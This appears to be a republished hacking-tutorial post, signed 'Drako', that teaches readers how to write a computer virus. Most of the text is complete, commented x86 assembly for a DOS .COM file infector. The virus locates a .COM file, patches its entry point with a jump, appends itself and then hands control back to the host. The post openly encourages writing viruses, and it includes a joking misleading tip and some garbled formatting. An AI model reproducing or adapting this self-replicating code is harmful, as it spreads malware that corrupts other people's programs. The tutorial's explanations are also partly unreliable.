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Virus programming (basics) #1...

DrWatson's profile picture
Published in 
Hacking Tutorials
 · 5 years ago

This section is dedicated to those who would like to write a virus, but don't have the knowledge to do so. First of all, writing a virus is no big deal. It is an easy project, but one which requires some basic programming skills, and the desire to write a virus! If either of these is missing, writing a virus would be tedious indeed!.

Well, if you meet these requisites, keep reading this article....

JE READ
JNE FUCK_YOU!

READ:

The survival of a virus is based in its ability to reproduce. "So how the fuck do I make a program reproduce?", you might ask. Simple, by getting it to copy itself to other files....

The functional logic of a virus is as follows:

/

listSearch for a file to infect

  • Open the file to see if it is infected

  • If infected, search for another file

  • Else, infect the file

  • Return control to the host program.
  • The following is an example of a simple virus:

     
    ;****************************************************************
    ; START OF THE EXAMPLE:
    ;****************************************************************
    ;Warning, this example is a (piece of shit?)
    ; - The virus does not test for prior infection
    ; - it searches only for the first .COM file in the current
    ; directory
    ;
    ; Careful when executing this file, since the first time it's
    ; executed it will search for and infect the first file in the
    ; directory. If we later run the newly infected file, it will find

    ; the first file in its directory, itself. Thus, it will re-infect

    ; itself over and over.
    ;===================CODIGO=======================================
    ;(The variables in a .COM file are relative to offset 100h).

    codigo segment 'code'
    org 100h ;Organize all the code starting
    ; from offset 100h
    assume cs:codigo,ds:codigo,es:codigo ;Define the use of the
    ;segments

    start proc far ;Start the routine
    COMIENZO:
    push cs ;Store CS
    push cs ;Store CS
    ; once again.
    pop ds ;Bring DS out from stack
    pop es ;Bring ES out from stack

    call falso_proc ;Call proc. so that its
    ; address is placed in the stack
    falso_proc proc near
    falso_proc endp

    pop bp ;BP< == Proc. address.
    sub bp, 107h ;BP< == BP - Previous directory


    ;This is done to take the variables relative to BP, since the
    ;infection displaces the variables at exactly the length of the
    ; file. At the first infection, instruction "SUB BP, 107h" is
    ; 107h, so that the contents of BP is 0; when I call a variable
    ; with "BP+VARIABLE" the value of the variable's address is not
    ; modified. When I load it , for example, from a 100h byte
    ; infected file, the instruction "SUB BP, 107h" leaves me at
    ; address 207h which means BP=100h, the size of the original file.
    ; Had I called the variable without adding BP, I would have been
    ; short by 100h bytes.


    ;Find the first .COM file in the directory
    -----------------------------------------
    mov ah, 4eh ;Search for the 1st file
    lea dx, bp+file_inf ;DS:DX= offset of FILE_INF
    ;(*.*) so it will search all
    ;the files, including directory
    ;names with extensions.
    mov cx, 0000h ;Entry attributes
    int 21h

    ;These attributes mentioned in the commentary are the directory's
    ; entry attributes. When I set the attributes to 0, I'm telling
    ; DOS to search normal files. If I include a bit combination which

    ; provides the Hidden, System or Directory attributes, DOS will
    ; search for files with those attributes, as well as the normal
    ; files. If the search range includes the Volume bit, the search
    ; is limited to that.

    ;These are the bits which correspond to each attribute:
    ;Bits: 7 6 5 4 3 2 1 0
    ; . . . . . . . 1 Bit 0: Read only
    ; . . . . . . 1 . Bit 1: Hidden
    ; . . . . . 1 . . Bit 2: System
    ; . . . . 1 . . . Bit 3: Volume
    ; . . . 1 . . . . Bit 4: Directory
    ; . . 1 . . . . . Bit 5: File
    ;
    ;Bits 6 and 7 are not used as they are reserved for "future
    ; applications".

    ;Open file
    ;----------------------------------------------------------------
    mov ah, 3dh ;Open the file.
    mov al, 00000010b ;read/write.
    mov dx, 009eh ;DX< == DTA(filename) offset
    int 21h ;put the handle in AX
    push ax ;and store in stack.

    ;The attributes I'm setting in AL are not the same as before.
    ; These are the "open" attributes. We are only interested in the
    ; first 3 bits,

    ;bits 2 1 0:
    ;
    ; 0 0 0 Read only mode
    ; 0 0 1 Write only mode
    ; 0 1 0 Read/Write mode
    ;
    ;OK, we now have the file attributes stored in AL. What we now
    ; need to do is to store in DX the offset of the variable where
    ; I've stored the ASCIIZ chain with the name of the file to be
    ; opened. In this case, we don't have a NAME_OF_FILE variable.
    ; Instead, the name is located in the DTA (Disk Transfer Area). I
    ; we have it in the DTA...... Why? Simply because when we search

    ; for a file to infect, all the information we need is returned to
    ; this memory area. This buffer, if it was not reset, is found in
    ; the PSP; more precisely, it starts at offset 80h and is 43d bytes

    ; in size.
    ;
    ;The DTA format is as follows:
    ;
    ;Offset Bytes Function
    ; 00h 21d Used by DOS for the 4fh service
    ; (search for the next file)
    ; 15h 01d Attributes of the file that's been found
    ; 16h 02d File time
    ; 18h 02d File date
    ; 1Ah 04d File size in bytes
    ; 1Eh 13d File name in an ASCIIZ chain
    ; (FILENAME.EXT),0
    ;
    ;Well, all that remains to be doe is to give DX the position in
    ; memory where I've stored the filename: "MOV DX, E1h" and its's
    ; done. But careful now, remember that DTA starts at offset 80h,

    ; which means I have to pass to DX the value "80h+1Eh = 9Eh". That

    ; would than leave "MOV DX, 9Eh"; the problem is solved. Now you
    are probably asking yourselves what I mean by "handle". The handle
    is a number which tells DOS which file we want. DOS gives us a
    handle for each file we open so we have to be careful to have the
    correct handle for each file which we read/write.

    ;Read the first 3 bytes.
    -----------------------------------------------------
    pop bx ;I take the handle from the
    ;stack to BX
    push bx ;and I store it again.
    mov ah, 3fh ;Read file.
    mov cx, 0003h ;Read 3 bytes.
    lea dx, bp+buffer ;and store in the buffer.
    int 21h

    INFECTAR: ;(infect)
    ;Move pointer to the start.
    ---------------------------------------------------
    mov ax, 4200h ;I move the write pointer
    ;to the beginning of the program
    mov cx, 0000h
    mov dx, 0000h
    int 21h

    ;The pointer's displacement, relative to the position of the
    ; pointer as specified in AL, is placed in CX and DX.
    ; Pointer displacement modes set in AL:
    ; AL < == 00 Move pointer to the beginning of the file.
    ; AL < == 01 leave pointer where it is.
    ; AL < == 02 Move pointer to end-of-file.

    ;Write the first byte (jmp)
    -------------------------------------------------
    mov ah, 40h ;write the first byte.
    mov cx, 1d ;Quantity=1.
    lea dx, bp+jump ;DX< == JUMP offset
    int 21h

    ;(Here we still need the handle, but we don't need to set it again
    ; because the register which contained the information was not
    ; modified.
    ;
    ;The first byte to be written is a JUMP instruction (the symbol for

    ; the jump is below). What follows the jump is the address of the
    ; jump, file-length + 1. (test the "+ 1" thoroughly, since this
    ; can cause problems; if so, multiply by 18 or subtract 23.)
    ; Hehehehe.
    ;Since the entire virus code is copied at the end of the file, the
    ; jump gives the virus control in an infected file.

    ;Calculating file length
    -------------------------------------------------
    mov cx, 2 ;Copy 2 bytes.
    mov si, 009ah ;SI< == DTA offset
    lea di, bp+longitud ;DI< == File LENGTH offset.
    rep movsb ;Copy.


    ;This instruction must have the 'SOURCE' buffer address in DS:SI
    ; and the address where the string will be copied in ES:DI (in this

    ; case, I copy the file length of the DTA to the variable
    ; 'LONGITUD').


    sub word ptr [bp+longitud], 3 ;subtract 3 bytes from
    ;[LONGITUD]

    ;The JMP is completed
    --------------------------------------
    mov ah, 40h ;Write.
    mov cx, 2d ;Number of bytes.
    lea dx, bp+longitud ;DX< == LONGITUD (length)
    ; offset
    int 21h

    ;Move pointer to end
    -------------------------------------------------------
    mov ax, 4202h ;Move the write pointer to the
    ;end of the program.
    mov cx, 0000h
    mov dx, 0000h
    int 21h
    add word ptr [bp+longitud],3 ;Restore LONGITUD.

    ;Copy the virus to the program.
    ---------------------------------------------------
    pop bx ;Restore the handle.
    mov ah, 40h
    mov cx, 190d ;number of bytes to copy.
    lea dx, bp+comienzo ;Start copying from....
    int 21h

    ;Close the file after infection
    ------------------------------------
    mov ah, 3eh ;Close file.
    int 21h

    ;Here, too, we need in DS:DX the address of the buffer which
    ; contains the filename string, but in this case DS and DX already
    ; contain those values from before.

    NO_INFECTAR:

    ;==================RETURN CONTROL TO THE HOST=====================
    ;Copy the buffer which contains the first 3 bytes of the file into
    ; memory.
    ------------------
    mov cx, 0003h ;Number of bytes (3).
    mov di, 0100h ;DI< == offset 100h. Beginning of the
    ;program in memory.
    lea si, bp+buffer ;SI< == BUFFER offset
    rep movsb ;Copy.

    ;What we are doing here is to "fix" the file, since when it was
    ; infected, the first few bytes are overwritten by the virus. That

    ; is why we reconstruct the file to its original state, by copying
    ; the first 3 bytes, which we had stored earlier, into memory.

    ;Jump to offset 100h
    --------------------------------------------------------

    mov ax, 0100h ;Address needed to execute the host
    jmp ax

    ;As we mentioned before, in .COM files the executable code begins
    ; at offset 100h. The information found between 00h and 100h is
    ; program data, like the DTA for example.

    ;The main difference between a .COM file and an .EXE is that a .COM
    ; cannot occupy more than one memory segment, or 65535 bytes.
    ; .EXEs can, because DOS can 'tailor' them to fit into a number of
    ; different segments. Unlike.EXE files. .COM files are faithful
    ; reproductions of the contents of memory.

    ;====================DATA AREA===================================

    buffer db 7d dup(0)
    longitud db 2 dup(0)
    file_inf db '*.COM',0
    jump db 'é',0 ;< ---jump ascii

    ;(The character '0' is the end of the ASCIIZ string)

    start endp ;End of main procedure
    codigo ends ;end of code segment
    end comienzo ;END. Go to COMIENZO

    ;****************************************************************
    ; END OF EXAMPLE
    ;****************************************************************



    Drako.

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